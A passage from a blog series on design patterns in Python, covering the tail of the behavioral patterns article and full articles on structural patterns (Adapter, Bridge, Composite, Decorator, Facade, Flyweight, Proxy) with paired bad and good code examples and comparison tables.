        return (
            self.left.interpret(context)
            and self.right.interpret(context)
        )


# Build expression:
# age > 18 AND subscription == "premium"

rule = And(
    GreaterThan("age", 18),
    Equals("subscription", "premium")
)

user = {
    "age": 25,
    "subscription": "premium"
}

print(rule.interpret(user))  # True

Pros:

Easy to add new expressions
Business rules become composable
Grammar is explicit
Follows Open/Closed Principle

Cons:

Creates many small classes
Can become complex for large grammars
Performance overhead for deep expression trees

My Take:

Interpreter is one of the least-used GoF patterns in everyday application development.

Most developers use existing libraries instead of building interpreters from scratch.

But you'll see it everywhere under the hood:

SQL parsers
Regex engines
Elasticsearch queries
GraphQL resolvers
Policy engines
Template engines

The key insight: If users need to express rules dynamically, create a language instead of adding more conditionals.

Comparison Table

Pattern	Purpose	Complexity	When to Use
Strategy	Choose algorithm at runtime	Low	Multiple ways to do same thing
Observer	Notify multiple objects of state changes	Medium	Event systems, real-time updates
Command	Encapsulate requests as objects	Medium	Undo/redo, queuing, logging
State	Change behavior based on internal state	Medium	State machines, workflows
Template Method	Define algorithm structure in base class	Low	Similar algorithms with different steps
Chain of Resp.	Pass requests through handler chain	Medium	Escalation, filtering, middleware
Iterator	Traverse collections	Low	Custom collections
Mediator	Coordinate object interactions	Medium	Complex communication
Memento	Save and restore state	Medium	Snapshots, rollback
Visitor	Add operations to objects	High	ASTs, reporting
Interpreter	Define and evaluate grammar	High	DSLs, rule engines

Key Takeaways

Strategy — Choose behavior dynamically
Observer — React to state changes automatically
Command — Encapsulate and queue requests
State — Manage complex state transitions clearly
Template Method — Share algorithm structure, differ in details
Chain of Responsibility — Escalate through handlers
Iterator — Traverse collections consistently
Mediator — Centralize communication
Memento — Save and restore state
Visitor — Add operations without modifying classes
Interpreter — Build and evaluate custom rules

The Golden Rule of Behavioral Patterns:

Make object interaction explicit. Don't hide behavior in conditionals.

When you find yourself writing giant if-elif chains or scattered event handling, a behavioral pattern is probably the answer.

Design Patterns Complete Series

Creational Patterns — How to create objects properly
Structural Patterns - Part 1 — Adapter, Bridge, Composite, Decorator
Structural Patterns - Part 2 — Facade, Flyweight, Proxy
Behavioral Patterns (This Article) — How objects communicate

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Structural Design Patterns 2026: Facade, Flyweight, Proxy — Production Examples

Mahdi SHamlou | مهدی شاملو — Sun, 14 Jun 2026 19:32:48 +0000

Mahdi Shamlou here.

Welcome back to the Structural Design Patterns series.

In Part 1, we explored:

Adapter — Making incompatible systems work together
Bridge — Decoupling abstraction from implementation
Composite — Building tree structures elegantly
Decorator — Adding behavior without modification

Now it's time for the final three structural patterns that will complete your arsenal.

These patterns solve different but equally important problems:

Simplifying complex systems (Facade)
Saving memory with shared objects (Flyweight)
Controlling access to objects (Proxy)

Let's dive into the code.

Part 2: The Final Structural Patterns

5. Facade Pattern

The Facade pattern provides a unified, simplified interface to a set of interfaces in a subsystem.

It's about hiding complexity behind a simple interface.

Imagine using a movie theater. Behind the scenes:

The lights need to dim
The sound system needs to adjust
The projector needs to start
The curtains need to open
The audience needs to settle

Without Facade, the client would interact with all these systems directly:

lights.dim()
sound_system.set_volume(50)
projector.start()
curtains.open()

With Facade, the client just calls:

theater.watch_movie()

When to use it:

Simplifying complex subsystems
Decoupling clients from subsystem components
Creating a simple entry point to a complex system
Legacy system integration
Providing a versioning layer
API simplification

Bad code (without pattern)

# Complex subsystem with many classes
class Lights:
    def dim(self, percentage):
        return f"Lights dimmed to {percentage}%"

class SoundSystem:
    def set_volume(self, level):
        return f"Volume set to {level}"

    def enable_surround(self):
        return "Surround sound enabled"

class Projector:
    def turn_on(self):
        return "Projector is on"

    def set_resolution(self, resolution):
        return f"Resolution set to {resolution}"

class Curtains:
    def open(self):
        return "Curtains opening"

    def close(self):
        return "Curtains closing"

class PopcornMachine:
    def start(self):
        return "Popcorn machine started"

# Client needs to know about all these systems
def watch_movie():
    lights = Lights()
    sound = SoundSystem()
    projector = Projector()
    curtains = Curtains()
    popcorn = PopcornMachine()

    print(lights.dim(30))
    print(sound.set_volume(70))
    print(sound.enable_surround())
    print(projector.turn_on())
    print(projector.set_resolution("4K"))
    print(curtains.open())
    print(popcorn.start())
    # 7 steps for a simple action!

watch_movie()

The problem: Too many details. The client needs to understand the entire theater system.

Good code (with Facade)

# Keep the complex subsystem (same as before)
class Lights:
    def dim(self, percentage):
        return f"Lights dimmed to {percentage}%"

class SoundSystem:
    def set_volume(self, level):
        return f"Volume set to {level}"

    def enable_surround(self):
        return "Surround sound enabled"

class Projector:
    def turn_on(self):
        return "Projector is on"

    def set_resolution(self, resolution):
        return f"Resolution set to {resolution}"

class Curtains:
    def open(self):
        return "Curtains opening"

class PopcornMachine:
    def start(self):
        return "Popcorn machine started"

# Facade: Single entry point
class TheaterFacade:
    def __init__(self):
        self.lights = Lights()
        self.sound = SoundSystem()
        self.projector = Projector()
        self.curtains = Curtains()
        self.popcorn = PopcornMachine()

    def watch_movie(self):
        """Simple interface hides complexity"""
        print(self.lights.dim(30))
        print(self.sound.set_volume(70))
        print(self.sound.enable_surround())
        print(self.projector.turn_on())
        print(self.projector.set_resolution("4K"))
        print(self.curtains.open())
        print(self.popcorn.start())
        print("\n🎬 Movie starting!\n")

    def end_movie(self):
        """Cleanup is also simplified"""
        print(self.curtains.open())  # Actually should close, but you get the idea
        print(self.lights.dim(100))  # Lights back to normal
        print("Theater ready for next showing")

# Client code is simple
theater = TheaterFacade()
theater.watch_movie()
theater.end_movie()

Pros:

Simplifies client code dramatically
Decouples clients from subsystem details
Makes the system easier to use
Can provide different facades for different needs
Good for versioning and API design

Cons:

Facade can become a "god object" if it does too much
Clients lose fine-grained control
Can hide important details when you need them
Adds another layer of indirection

My Take:

Facade is one of the most practical patterns in the real world.

Every well-designed library, framework, and API uses Facade principles. Flask, Django, FastAPI—they all provide simple interfaces on top of complex systems.

If your subsystem is growing complex and forcing clients to understand many classes, Facade is the answer.

But don't overuse it. One Facade is good. Ten Facades means your architecture is messy.

6. Flyweight Pattern

The Flyweight pattern uses sharing to support large numbers of fine-grained objects efficiently.

When you have thousands (or millions) of similar objects, you can't afford to create each one from scratch.

Flyweight extracts the shared, immutable data (intrinsic state) from the unique, changeable data (extrinsic state).

Classic example: A text editor with millions of characters.

Each character has:

Intrinsic state (never changes): Font family, size, style
Extrinsic state (changes): Position, color for this specific instance

Instead of storing both in each character object, flyweight stores intrinsic state once and shares it.

When to use it:

Managing large numbers of similar objects
Memory optimization is critical
Game development (particles, trees, NPCs)
Text editors with millions of characters
Caches and object pools
UI rendering of repeated elements

Bad code (without pattern)

# Without Flyweight, each character object stores everything
class Character:
    def __init__(self, char, font, size, color, x, y):
        self.char = char
        self.font = font  # Repeated thousands of times
        self.size = size  # Repeated thousands of times
        self.color = color  # Same for all red text
        self.x = x  # Unique per character
        self.y = y  # Unique per character

# Creating a document with 100,000 characters
document = []
for i in range(100000):
    # Each character duplicates font and size information
    char = Character(
        chr(ord('A') + (i % 26)),
        font="Arial",  # Repeated 100,000 times!
        size=12,  # Repeated 100,000 times!
        color="black",  # Repeated 100,000 times!
        x=i % 100,
        y=i // 100
    )
    document.append(char)

# Memory usage: Massive waste from duplication

The problem: Redundant data stored in every object.

Good code (with Flyweight)

# Intrinsic state: Shared and immutable
class CharacterStyle:
    def __init__(self, font, size, color):
        self.font = font
        self.size = size
        self.color = color

    def __eq__(self, other):
        return (self.font == other.font and 
                self.size == other.size and 
                self.color == other.color)

    def __hash__(self):
        return hash((self.font, self.size, self.color))

# Flyweight Factory: Ensures only one instance per unique intrinsic state
class StyleFactory:
    _styles = {}

    @staticmethod
    def get_style(font, size, color):
        style = CharacterStyle(font, size, color)

        # Return existing style if we've seen it before
        if style not in StyleFactory._styles:
            StyleFactory._styles[style] = style

        return StyleFactory._styles[style]

# Extrinsic state: Unique per instance
class Character:
    def __init__(self, char, style, x, y):
        self.char = char
        self.style = style  # Shared reference
        self.x = x  # Unique
        self.y = y  # Unique

    def render(self):
        return f"{self.char} at ({self.x}, {self.y}) in {self.style.font}"

# Client code
document = []
style_factory = StyleFactory()

for i in range(100000):
    # All characters share the same Arial/12/black style
    style = style_factory.get_style("Arial", 12, "black")

    char = Character(
        chr(ord('A') + (i % 26)),
        style,  # Shared, not duplicated
        x=i % 100,
        y=i // 100
    )
    document.append(char)

# Check memory efficiency
arial_12_black = style_factory.get_style("Arial", 12, "black")
arial_12_blue = style_factory.get_style("Arial", 12, "blue")
arial_12_black_again = style_factory.get_style("Arial", 12, "black")

print(arial_12_black is arial_12_black_again)  # True - same object in memory
print(arial_12_black is arial_12_blue)  # False - different style

Pros:

Dramatically reduces memory usage for many similar objects
Improves performance through object sharing
Single source of truth for shared data
Works well with object pooling

Cons:

Added complexity with intrinsic/extrinsic separation
Thread safety considerations for factories
Debugging can be trickier with shared objects
Only valuable for large-scale scenarios

My Take:

Flyweight is not an everyday pattern. You use it when:

You have many objects (thousands or millions)
Memory usage is actually a problem (not hypothetical)
Most of the data is redundant

Don't prematurely optimize. Start without Flyweight. When profiling shows memory as the bottleneck with repeated objects, then implement it.

Real-world examples:

Game engines: Particles (thousands of trees, rocks, bullets)
Web browsers: DOM nodes (thousands of same-styled elements)
Text editors: Character objects
Cache systems: Pooled objects

If you're not handling thousands of objects, Flyweight adds complexity for minimal benefit.

7. Proxy Pattern

The Proxy pattern provides a surrogate or placeholder for another object to control access to it.

A proxy sits between the client and the real object, intercepting all interactions.

Proxies can:

Lazy load — Create expensive objects only when needed
Control access — Allow/deny based on permissions
Log and monitor — Track all access
Cache — Return cached results
Remote access — Access objects across the network

Think about loading an image. You don't want to load the full 10MB image until the user actually views it.

A Proxy can delay loading until necessary.

When to use it:

Lazy initialization of expensive objects
Access control and permissions
Logging and monitoring
Caching
Remote objects (RPC, REST APIs)
Validation before real operations
Throttling or rate limiting

Bad code (without pattern)

# Image loading happens immediately, even if not viewed
class Image:
    def __init__(self, url):
        self.url = url
        # Expensive operation
        self.data = self.load_from_url(url)
        print(f"Image loaded: {url}")

    def load_from_url(self, url):
        # Simulate expensive loading
        print(f"Loading {url}... (this takes time!)")
        return "image_data_10mb"

    def display(self):
        print(f"Displaying {self.data}")

# Client code forces loading immediately
def show_webpage():
    images = []
    for i in range(100):
        # All 100 images load immediately
        image = Image(f"http://example.com/image{i}.jpg")
        images.append(image)

    # User only views 3 images, but all 100 were loaded!
    print("Displaying first 3 images:")
    images[0].display()
    images[1].display()
    images[2].display()

show_webpage()

The problem: All images load eagerly, even if never viewed.

Good code (with Proxy)

# Real image class
class RealImage:
    def __init__(self, url):
        self.url = url
        self.data = self._load()

    def _load(self):
        print(f"Loading {self.url}... (expensive operation)")
        return "image_data_10mb"

    def display(self):
        print(f"Displaying image from {self.url}")

# Proxy: Controls access to RealImage
class ImageProxy:
    def __init__(self, url):
        self.url = url
        self._real_image = None  # Not loaded yet

    def _ensure_loaded(self):
        """Lazy loading: Only load when actually needed"""
        if self._real_image is None:
            self._real_image = RealImage(self.url)

    def display(self):
        self._ensure_loaded()  # Load only when display is called
        self._real_image.display()

# Client code using proxy
def show_webpage():
    images = []
    for i in range(100):
        # Create proxies, not actual images
        proxy = ImageProxy(f"http://example.com/image{i}.jpg")
        images.append(proxy)

    print("100 image proxies created (nothing loaded yet)\n")

    # Only display 3 images - only those 3 load
    print("Displaying first 3 images:")
    images[0].display()  # This one loads
    images[1].display()  # This one loads
    images[2].display()  # This one loads
    # 97 images never loaded!

show_webpage()

Practical Example: Access Control Proxy

# Real service
class DatabaseService:
    def execute_query(self, query):
        return f"Executing: {query}"

    def delete_database(self):
        return "Database deleted!"

# Proxy with access control
class DatabaseServiceProxy:
    def __init__(self, service, user_role):
        self.service = service
        self.user_role = user_role

    def execute_query(self, query):
        if self.user_role in ["admin", "analyst"]:
            return self.service.execute_query(query)
        else:
            return "Access denied: insufficient permissions"

    def delete_database(self):
        if self.user_role == "admin":
            return self.service.delete_database()
        else:
            return "Access denied: only admins can delete"

# Usage
db = DatabaseService()

# Admin proxy
admin_proxy = DatabaseServiceProxy(db, "admin")
print(admin_proxy.execute_query("SELECT * FROM users"))
print(admin_proxy.delete_database())

# User proxy
user_proxy = DatabaseServiceProxy(db, "user")
print(user_proxy.execute_query("SELECT * FROM users"))
print(user_proxy.delete_database())  # Denied!

Pros:

Lazy initialization saves resources
Control and restrict access as needed
Add logging and monitoring transparently
Can implement caching efficiently
Decouple clients from real objects
Handle remote objects transparently

Cons:

Added layer of indirection
Slight performance overhead
Debugging becomes harder
Can hide implementation details excessively

My Take:

Proxy is everywhere in production systems, even if developers don't explicitly recognize it.

Common real-world uses:

ORM lazy loading (Django, SQLAlchemy)
Web frameworks (middleware, decorators)
Mock objects (testing)
Caching layers (Redis, memcached)
RPC clients (gRPC, REST clients)
Database connection pooling

The key insight: A proxy is a controlled gateway.

It's perfect for:

Protecting expensive operations
Controlling access
Monitoring and logging
Adding behavior transparentlyhttps://dev.to/mahdi0shamlou/structural-design-patterns-python-part-1

Use Proxy when you need to intercept or control how a client interacts with an object.

Complete Structural Patterns Comparison

Pattern	Purpose	Complexity	When to Use
Adapter	Make incompatible interfaces work together	Low	Integrating third-party libraries
Bridge	Decouple abstraction from implementation	Medium	Multiple independent dimensions
Composite	Build tree structures uniformly	Medium	Hierarchical data (files, menus, DOM)
Decorator	Add behavior without modifying classes	Medium	Dynamic feature addition, avoid explosion
Facade	Simplify complex subsystems	Low	Complex internal systems, APIs
Flyweight	Share data to save memory	Medium	Thousands of similar objects
Proxy	Control access to another object	Medium	Lazy loading, access control, monitoring

Structural Patterns in Real Production Code

You're already using these patterns whether you recognize it or not:

Facade in Action

import requests  # Simple facade over complex HTTP protocol
response = requests.get("https://api.example.com/users")

Decorator in Action

@app.route("/users")
@login_required  # Decorator pattern
@cache(timeout=300)  # Another decorator
def get_users():
    pass

Proxy in Action

user = User.objects.get(id=1)  # Django ORM proxy
print(user.posts.all())  # Posts only loaded when accessed (lazy loading)

Adapter in Action

from sqlalchemy import create_engine
# Adapter between Python code and multiple database types
engine = create_engine("postgresql://user:pass@host/db")

Key Takeaways

Adapter bridges incompatible systems
Bridge prevents class explosion from multiple dimensions
Composite treats parts and wholes uniformly
Decorator adds behavior without modification
Facade hides complexity behind a simple interface
Flyweight saves memory through sharing
Proxy controls access and adds behavior transparently

The Golden Rule: Use structural patterns to make your code more flexible and maintainable, not to show off.

Bad code with patterns is still bad code.

What's Next?

We've covered all Structural Design Patterns.

Coming next in the series:

Behavioral Design Patterns
- Strategy, Observer, Command, State
- Template Method, Chain of Responsibility
- Mediator, Memento, Interpreter, Visitor, Iterator

Each with the same production-focused approach: real problems, real solutions, and honest guidance on when to use them.

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

Message Brokers in 2026: Kafka, RabbitMQ, NATS — Architecture decisions
OWASP Top 10 for Developers (2026 Edition) — Security patterns
Injection Attacks Are Not Dead — Attack patterns and solutions
Durable Workflow Engines: Temporal vs dbt OS vs Transact vs Prefect — System patterns

🔗 LinkedIn: https://www.linkedin.com/in/mahdi-shamlou-3b52b8278
📱 Telegram: https://telegram.me/mahdi0shamlou
📸 Instagram: https://www.instagram.com/mahdi0shamlou/

Author: Mahdi Shamlou | مهدی شاملو

Mahdi Shamlou | Structural Design Patterns 2026: Adapter, Bridge, Composite & Decorator — Production Examples

Mahdi SHamlou | مهدی شاملو — Fri, 12 Jun 2026 09:58:08 +0000

Mahdi Shamlou here.

After breaking down Creational Design Patterns, you now understand how to build objects the right way.

But building objects is only half the battle.

The real challenge in production systems is how you organize relationships between those objects.

That's where Structural Design Patterns come in.

Structural patterns show you:

How to compose objects into larger structures
How to maintain flexibility when your system grows
How to simplify complex relationships
How to add behavior without touching existing code

I've seen systems where:

Tight coupling made changes impossible
New features required modifying dozens of files
Adapting to new requirements meant rewriting entire modules
Code became harder to test and maintain

Most of these problems vanish when you apply the right structural pattern.

Let's dive into the patterns that actually matter in 2026.

What Are Structural Design Patterns?

Structural patterns deal with object composition and relationships.

While Creational patterns answer: "How do I create objects?"

Structural patterns answer: "How do I organize objects to create larger, more flexible systems?"

The main structural patterns are:

Adapter — Make incompatible objects work together
Bridge — Decouple abstraction from implementation
Composite — Build tree-like structures
Decorator — Add behavior without modification
Facade — Simplify complex subsystems
Flyweight — Share data to save memory
Proxy — Control access to another object

Let's explore each one with real production code.

Structural Patterns That Actually Matter

1. Adapter Pattern

The Adapter pattern makes incompatible interfaces work together.

Imagine you have a payment system that expects:

processor.charge(amount, card_number)

But your new payment provider expects:

processor.send_payment(amount, card_details_object)

Without the Adapter pattern, you'd need to modify your entire codebase. With it, you create an adapter that translates between the two.

When to use it:

Integrating third-party libraries
Working with legacy code
Using multiple vendors with different APIs
Creating unified interfaces for different providers
Supporting multiple database drivers

Bad code (without pattern)

# You have two different payment systems with incompatible interfaces

class OldPaymentGateway:
    def pay(self, amount, card_number):
        return f"Processing ${amount} with card {card_number}"

class NewPaymentGateway:
    def send_payment(self, amount, payment_details):
        return f"Processing ${amount} with {payment_details['method']}"

# Your application expects a unified interface
def checkout(payment_system, amount, card_number):
    if isinstance(payment_system, OldPaymentGateway):
        return payment_system.pay(amount, card_number)
    elif isinstance(payment_system, NewPaymentGateway):
        # This doesn't work! Different interface
        return payment_system.send_payment(
            amount, 
            {"method": "card", "number": card_number}
        )
    else:
        raise ValueError("Unknown payment system")

# Every time you add a new provider, you modify checkout()

The problem: Your checkout function becomes a conditional nightmare.

Good code (with Adapter)

from abc import ABC, abstractmethod

# Define your expected interface
class PaymentProcessor(ABC):
    @abstractmethod
    def process(self, amount, card_number):
        pass

# Legacy system - doesn't match your interface
class OldPaymentGateway:
    def pay(self, amount, card_number):
        return f"Processing ${amount} with card {card_number}"

# New system - also doesn't match your interface
class NewPaymentGateway:
    def send_payment(self, amount, payment_details):
        return f"Processing ${amount} with {payment_details['method']}"

# Create adapters that translate to your expected interface
class OldPaymentAdapter(PaymentProcessor):
    def __init__(self, old_gateway):
        self.gateway = old_gateway

    def process(self, amount, card_number):
        return self.gateway.pay(amount, card_number)

class NewPaymentAdapter(PaymentProcessor):
    def __init__(self, new_gateway):
        self.gateway = new_gateway

    def process(self, amount, card_number):
        payment_details = {"method": "card", "number": card_number}
        return self.gateway.send_payment(amount, payment_details)

# Now your checkout function is simple and never changes
def checkout(processor: PaymentProcessor, amount, card_number):
    return processor.process(amount, card_number)

# Usage
old_gateway = OldPaymentGateway()
old_processor = OldPaymentAdapter(old_gateway)
checkout(old_processor, 100, "4111111111111111")

new_gateway = NewPaymentGateway()
new_processor = NewPaymentAdapter(new_gateway)
checkout(new_processor, 100, "4111111111111111")

# Add a third provider? Just create another adapter
# checkout() never changes

Pros:

Allows incompatible interfaces to work together
Doesn't require changing existing classes
Keeps business logic separate from integration logic
Makes testing easier

Cons:

Creates additional classes
Can hide poor design choices
Overuse leads to extra complexity

My Take:

The Adapter pattern is essential when working with real-world systems.

You'll constantly integrate third-party libraries, legacy systems, and multiple vendors. Adapters keep your code clean and flexible.

Every well-designed system should have an adapter layer for external dependencies. It's not optional if you care about maintainability.

2. Bridge Pattern

The Bridge pattern decouples an abstraction from its implementation so they can vary independently.

Think about database drivers.

You want your application to work with any database. But each database has a different implementation:

Application
    ↓
Abstraction (UserRepository interface)
    ↓
Bridge
    ↓
Concrete Implementation (PostgreSQL, MySQL, MongoDB)

Without the Bridge pattern, your abstraction gets tightly coupled to specific implementations.

When to use it:

Avoiding permanent binding between abstraction and implementation
Supporting multiple implementations that can change independently
Reducing class explosion (especially with multiple dimensions)
Allowing independent evolution of abstractions and implementations
Plugin architectures

Bad code (without pattern)

# Without Bridge, you end up with exponential class explosion

# One dimension: Database
class PostgreSQLUserRepository:
    def find_user(self, id):
        return f"Finding user {id} from PostgreSQL"

class MongoDBUserRepository:
    def find_user(self, id):
        return f"Finding user {id} from MongoDB"

# Another dimension: Caching
class PostgreSQLUserRepositoryWithCache:
    def find_user(self, id):
        if self.cache.has(id):
            return self.cache.get(id)
        return f"Finding user {id} from PostgreSQL (with cache)"

class MongoDBUserRepositoryWithCache:
    def find_user(self, id):
        if self.cache.has(id):
            return self.cache.get(id)
        return f"Finding user {id} from MongoDB (with cache)"

# Add another dimension (encryption)?
# Add another database? (SQLite)
# Now you have 3 × 2 = 6 classes
# Add one more dimension and you have 3 × 2 × 2 = 12 classes
# This is the "class explosion" problem

Good code (with Bridge)

from abc import ABC, abstractmethod

# Abstraction: What the client wants
class UserRepository(ABC):
    def __init__(self, implementation):
        self.implementation = implementation

    @abstractmethod
    def find_user(self, user_id):
        pass

# Concrete Abstraction
class CachedUserRepository(UserRepository):
    def __init__(self, implementation):
        super().__init__(implementation)
        self.cache = {}

    def find_user(self, user_id):
        if user_id in self.cache:
            return self.cache[user_id]

        result = self.implementation.fetch_user(user_id)
        self.cache[user_id] = result
        return result

class SimpleUserRepository(UserRepository):
    def find_user(self, user_id):
        return self.implementation.fetch_user(user_id)

# Implementation: How to fetch the data
class DatabaseImplementation(ABC):
    @abstractmethod
    def fetch_user(self, user_id):
        pass

# Concrete Implementations
class PostgreSQLImplementation(DatabaseImplementation):
    def fetch_user(self, user_id):
        return f"User {user_id} from PostgreSQL"

class MongoDBImplementation(DatabaseImplementation):
    def fetch_user(self, user_id):
        return f"User {user_id} from MongoDB"

class SQLiteImplementation(DatabaseImplementation):
    def fetch_user(self, user_id):
        return f"User {user_id} from SQLite"

# Usage: Mix and match any abstraction with any implementation
postgres = PostgreSQLImplementation()
simple_repo = SimpleUserRepository(postgres)
print(simple_repo.find_user(1))  # User 1 from PostgreSQL

cached_repo = CachedUserRepository(postgres)
print(cached_repo.find_user(1))  # User 1 from PostgreSQL
print(cached_repo.find_user(1))  # Uses cache

# Switch to MongoDB without changing repository code
mongo = MongoDBImplementation()
cached_repo = CachedUserRepository(mongo)
print(cached_repo.find_user(1))  # User 1 from MongoDB

# 2 Abstractions × 3 Implementations = 5 classes total
# vs 6 classes without the pattern
# And now you can add implementations without creating new abstraction classes

Pros:

Avoids permanent binding between abstraction and implementation
Reduces class explosion
Allows independent evolution of abstractions and implementations
Supports runtime switching of implementations
Single Responsibility Principle

Cons:

Adds an extra layer of abstraction
Can be overkill for simple cases
Makes code harder to follow if over-applied

My Take:

The Bridge pattern solves a real problem: class explosion when you have multiple independent dimensions of variation.

Use it when you have:

Multiple abstractions that need multiple implementations
Need to support multiple variants that can change independently

But don't use it for simple, one-dimensional cases. Start simple, add Bridge only when you see actual class explosion.

3. Composite Pattern

The Composite pattern composes objects into tree structures to represent part-whole hierarchies.

It lets clients treat individual objects and compositions of objects uniformly.

Think about a file system:

/root
├── file1.txt
├── folder1
│   ├── file2.txt
│   └── file3.txt
└── folder2
    └── file4.txt

A file and a folder both have a size() method. A folder's size is the sum of all its contents.

Without the Composite pattern, you handle files and folders differently everywhere.

With it, you treat them the same.

When to use it:

File system structures
Menu hierarchies
Organization charts
DOM trees
Comment threads (parent comments with nested replies)
Feature trees in games

Bad code (without pattern)

class File:
    def __init__(self, name, size):
        self.name = name
        self.size = size

    def get_size(self):
        return self.size

class Folder:
    def __init__(self, name):
        self.name = name
        self.items = []

    def add_item(self, item):
        self.items.append(item)

    def get_size(self):
        # You need special logic to handle folders
        total = 0
        for item in self.items:
            if isinstance(item, File):
                total += item.get_size()
            elif isinstance(item, Folder):
                total += item.get_size()  # Recursive but explicit
        return total

# Client code is full of type checking
def calculate_storage(item):
    if isinstance(item, File):
        return item.get_size()
    elif isinstance(item, Folder):
        total = 0
        for sub_item in item.items:
            total += calculate_storage(sub_item)  # Repeated logic
        return total
    else:
        raise ValueError("Unknown type")

Good code (with Composite)

from abc import ABC, abstractmethod

# Common interface for both files and folders
class FileSystemComponent(ABC):
    @abstractmethod
    def get_size(self):
        pass

    @abstractmethod
    def get_name(self):
        pass

# Leaf: File
class File(FileSystemComponent):
    def __init__(self, name, size):
        self.name = name
        self.size = size

    def get_size(self):
        return self.size

    def get_name(self):
        return self.name

# Composite: Folder
class Folder(FileSystemComponent):
    def __init__(self, name):
        self.name = name
        self.items = []

    def add_item(self, item: FileSystemComponent):
        self.items.append(item)

    def get_size(self):
        # Uniform interface: treat files and folders the same
        return sum(item.get_size() for item in self.items)

    def get_name(self):
        return self.name

# Client code is simple and consistent
def print_structure(component: FileSystemComponent, indent=0):
    print("  " * indent + f"{component.get_name()} ({component.get_size()} bytes)")

    # Only folders have items, but we don't need to check
    if isinstance(component, Folder):
        for item in component.items:
            print_structure(item, indent + 1)

# Usage
root = Folder("root")
root.add_item(File("file1.txt", 100))

folder1 = Folder("folder1")
folder1.add_item(File("file2.txt", 200))
folder1.add_item(File("file3.txt", 300))
root.add_item(folder1)

root.add_item(File("file4.txt", 150))

print(f"Total size: {root.get_size()} bytes")  # 750
print_structure(root)

Pros:

Simplifies client code
Clients treat individual and composite objects uniformly
Easy to add new component types
Natural way to represent hierarchical data

Cons:

Can make design too general
Performance overhead for large trees
Difficult to restrict what can be added to composites

My Take:

Composite is one of the most elegant patterns when applied correctly.

Any time you work with tree structures (file systems, UI components, organizational charts, comment threads), Composite makes your code dramatically simpler.

The key insight: Treat the part and the whole the same way. This eliminates tons of type checking and special cases.

Use it whenever you have hierarchical data. It's worth the abstraction.

4. Decorator Pattern

The Decorator pattern attaches additional responsibilities to an object dynamically.

It's an alternative to subclassing that allows behavior to be added at runtime.

Imagine a coffee shop:

Base coffee: $3
Add cream: +$0.50
Add caramel: +$0.75
Add whipped cream: +$0.50

Without decorators, you'd create:

Coffee
CoffeeWithCream
CoffeeWithCaramel
CoffeeWithWhippedCream
CoffeeWithCreamAndCaramel
CoffeeWithCreamAndCaramelAndWhippedCream
... (class explosion again)

With Decorator, you compose behaviors dynamically.

When to use it:

Adding features to objects without modifying them
Adding responsibilities dynamically
When subclassing would create too many classes
I/O streams with different filters
UI components with additional styling
Middleware in web frameworks

Bad code (without pattern)

class Coffee:
    def cost(self):
        return 3.0

    def description(self):
        return "Coffee"

class CoffeeWithCream(Coffee):
    def cost(self):
        return super().cost() + 0.50

    def description(self):
        return super().description() + ", Cream"

class CoffeeWithCaramel(Coffee):
    def cost(self):
        return super().cost() + 0.75

    def description(self):
        return super().description() + ", Caramel"

class CoffeeWithCreamAndCaramel(Coffee):
    def cost(self):
        return super().cost() + 0.50 + 0.75

    def description(self):
        return super().description() + ", Cream, Caramel"

# Every combination needs a new class
# With 5 toppings, you need 2^5 = 32 classes
# This is unmaintainable

Good code (with Decorator)

from abc import ABC, abstractmethod

# Component
class Beverage(ABC):
    @abstractmethod
    def cost(self):
        pass

    @abstractmethod
    def description(self):
        pass

# Concrete Component
class Coffee(Beverage):
    def cost(self):
        return 3.0

    def description(self):
        return "Coffee"

# Decorator Base Class
class BeverageDecorator(Beverage):
    def __init__(self, beverage: Beverage):
        self.beverage = beverage

    def cost(self):
        return self.beverage.cost()

    def description(self):
        return self.beverage.description()

# Concrete Decorators
class CreamDecorator(BeverageDecorator):
    def cost(self):
        return self.beverage.cost() + 0.50

    def description(self):
        return self.beverage.description() + ", Cream"

class CaramelDecorator(BeverageDecorator):
    def cost(self):
        return self.beverage.cost() + 0.75

    def description(self):
        return self.beverage.description() + ", Caramel"

class WhippedCreamDecorator(BeverageDecorator):
    def cost(self):
        return self.beverage.cost() + 0.50

    def description(self):
        return self.beverage.description() + ", Whipped Cream"

# Compose dynamically
coffee = Coffee()
print(f"{coffee.description()}: ${coffee.cost()}")

coffee_with_cream = CreamDecorator(coffee)
print(f"{coffee_with_cream.description()}: ${coffee_with_cream.cost()}")

fancy_coffee = WhippedCreamDecorator(CaramelDecorator(CreamDecorator(Coffee())))
print(f"{fancy_coffee.description()}: ${fancy_coffee.cost()}")

# Add any combination without new classes
iced_fancy = WhippedCreamDecorator(CaramelDecorator(Coffee()))
print(f"{iced_fancy.description()}: ${iced_fancy.cost()}")

Pros:

More flexible than subclassing
Responsibilities can be added/removed at runtime
Single Responsibility Principle
Avoids class explosion
Can combine decorators in any order

Cons:

Many small decorator classes
Order of decorators can matter
Harder to understand with multiple layers
Debugging decorated objects can be tricky

My Take:

Decorator is one of my favorite patterns because it solves real problems in elegant ways.

Every time I see a class hierarchy growing out of control (Coffee, CoffeeWithCream, CoffeeWithCreamAndSugar, ...), I immediately think "Decorator."

Python's context managers, decorators (yes, they use this pattern!), and middleware all use this pattern. It's production-tested and battle-hardened.

Use Decorator whenever you need to add behavior dynamically without modifying existing classes.

Comparison Table

Pattern	Purpose	Complexity	When to Use
Adapter	Make incompatible interfaces work together	Low	Integrating third-party libraries
Bridge	Decouple abstraction from implementation	Medium	Multiple independent dimensions
Composite	Build tree structures uniformly	Medium	Hierarchical data (files, menus, DOM)
Decorator	Add behavior without modifying classes	Medium	Dynamic feature addition, avoid explosion

Part 2 Coming Next

In the next article, we'll cover the remaining structural patterns:

Facade — Simplify complex subsystems
Flyweight — Share data to save memory
Proxy — Control access to objects

Each with the same production-focused approach: real code, real problems, and when to actually use them.

What's Next in the Design Patterns Series?

Part 1 (This Article): Adapter, Bridge, Composite, Decorator
Part 2: Facade, Flyweight, Proxy
Behavioral Patterns (Coming Soon): Strategy, Observer, Command, State, Template Method, Chain of Responsibility, and more

Want More Deep Dives?

If you enjoyed this article, check out my other production-focused guides:

